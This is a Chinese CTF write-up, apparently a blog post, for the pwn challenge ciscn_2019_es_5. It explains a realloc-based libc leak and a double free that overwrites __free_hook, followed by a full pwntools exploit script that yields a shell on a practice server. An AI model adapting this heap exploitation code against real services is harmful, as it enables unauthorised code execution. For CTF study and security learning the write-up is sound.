zoukankan      html  css  js  c++  java
  • ciscn_2019_es_5

    太久没写题目了,今天写一下发现自己越来越菜了

    又是一个跟realloc有关的题,一开始注意realloc,后面看了hav1k师傅的博客发现realloc等于free后,立刻恍然大悟了,不然还要看好久,realloc为0时等于free

    漏洞利用

    1. 由于没有初始化可以利用realloc直接leak libc
    2. 接着利用realloc来达成double free劫持free hook即可
    from pwn import *
    
    #p=process('./ciscn_2019_es_5')
    p=remote('node3.buuoj.cn',29806)
    libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
    text='choice:'
    def create(size,content):
        p.recvuntil('choice:')
        p.sendline('1')
        p.recvuntil('size?>')
        p.sendline(str(size))
        p.recvuntil('content:')
        p.sendline(content)
    
    def edit(idx):
        p.recvuntil('choice:')
        p.sendline('2')
        p.recvuntil('Index:')
        p.sendline(str(idx))
    
    def show(idx):
        p.recvuntil('choice:')
        p.sendline('3')
        p.recvuntil('Index:')
        p.sendline(str(idx))
    
    def free(idx):
        p.recvuntil('choice:')
        p.sendline('4')
        p.recvuntil('Index:')
        p.sendline(str(idx))
    
    
    create(0x4f0,p64(0)*3+p64(0x500)+b'x00')#0
    create(0x68,'p')#1
    #leak libc
    free(0)
    create(0,'')#0
    show(0)
    libc.address=u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00'))-96-0x10-libc.symbols['__malloc_hook']-0x430
    one=0x4f322+libc.address
    edit(0)
    free(0)
    free_hook=libc.symbols['__free_hook']
    create(0x18,p64(free_hook)+p64(0))
    create(0x18,p64(one))
    free(1)
    print('libc_base==>'+hex(libc.address))
    
    
    
    #gdb.attach(p)
    p.interactive()
  • 相关阅读:
    systick运用
    stm32的systick原理与应用
    PID算法知识点博文收藏记录
    关于STM32驱动DS1302实时时钟的一点思考
    什么是同步?什么是互斥?
    C语言小笔记(1)
    typedef 复杂函数指针
    获取窗口句柄
    GetWindowRect和GetClientRect的区别详解
    RepositionBars的用法和参数的意义(引用别人的)
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14503359.html
Copyright © 2011-2022 走看看